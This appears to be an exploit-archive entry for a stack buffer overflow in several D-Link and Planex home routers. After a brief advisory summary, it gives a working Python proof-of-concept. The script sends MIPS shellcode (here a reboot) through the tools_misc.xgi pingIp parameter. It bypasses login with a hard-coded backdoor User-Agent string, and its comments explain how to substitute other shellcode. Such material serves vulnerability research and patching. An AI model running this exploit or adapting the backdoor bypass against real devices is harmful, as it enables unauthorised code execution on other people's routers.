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source: https://www.securityfocus.com/bid/63234/info Multiple Vendors are prone to a stack-based buffer-overflow vulnerability. Exploiting this vulnerability may allow attackers to execute arbitrary code in the context of the affected devices. The following are vulnerable: D-Link DIR-120 D-Link DI-624S D-Link DI-524UP D-Link DI-604S D-Link DI-604UP D-Link DI-604 D-Link DIR-100 D-Link TM-G5240 PLANEX COMMUNICATIONS BRL-04UR PLANEX COMMUNICATIONS BRL-04R PLANEX COMMUNICATIONS BRL-04CW import sys import urllib2 try: url = 'http://%s/Tools/tools_misc.xgi?domain=a&set/runtime/diagnostic/pingIp=' % sys.argv[1] except Exception, e: print str(e) print 'Usage: %s <target ip>' % sys.argv[0] sys.exit(1) # This is the actual payload; here it is a simple reboot shellcode. # This payload size is limited to about 200 bytes, otherwise you'll crash elsewhere in /bin/webs. payload= "\x3c\x06\x43\x21" # lui a2,0x4321 payload += "\x34\xc6\xfe\xdc" # ori a2,a2,0xfedc payload += "\x3c\x05\x28\x12" # lui a1,0x2812 payload += "\x34\xa5\x19\x69" # ori a1,a1,0x1969 payload += "\x3c\x04\xfe\xe1" # lui a0,0xfee1 payload += "\x34\x84\xde\xad" # ori a0,a0,0xdead payload += "\x24\x02\x0f\xf8" # liv0,4088 payload += "\x01\x01\x01\x0c" # syscall 0x40404 # The payload is split up; some of it before the return address on the stack, some after. # This little snippet skips over the return address during execution. # It assumes that your shellcode will not be using the $fp or $t9 registers. move_sp_fp = "\x03\xa0\xf0\x21" # move $fp, $sp jump_code ="\x27\xd9\x02\xd4" # addiu $t9, $fp, 724 jump_code += "\x03\x21\xf8\x08" # jr $t9 jump_code += "\x27\xE0\xFE\xFE" # addiu $zero, $ra, -0x102 # Stitch together the payload chunk(s) and jump_code snippet shellcode_p1 = move_sp_fp + payload[0:68] + jump_code + "DD" if len(shellcode_p1) < 86: shellcode_p1 += "D" * (86 - len(shellcode_p1)) shellcode_p2 = "" else: shellcode_p2 = "DD" + payload[68:] # Build the overflow buffer, with the return address and shellcode # libc.so base address and ROP gadget offset for the DIR-100, revA, v1.13 # libc_base = 0x2aaee000 # ret_offset = 0x3243C buf = shellcode_p1 + "\x2A\xB2\x04\x3C" + shellcode_p2 # Normally only admins can access the tools_misc.xgi page; use the backdoor user-agent to bypass authentication req = urllib2.Request(url+buf, headers={'User-Agent' : 'xmlset_roodkcableoj28840ybtide'}) urllib2.urlopen(req) |
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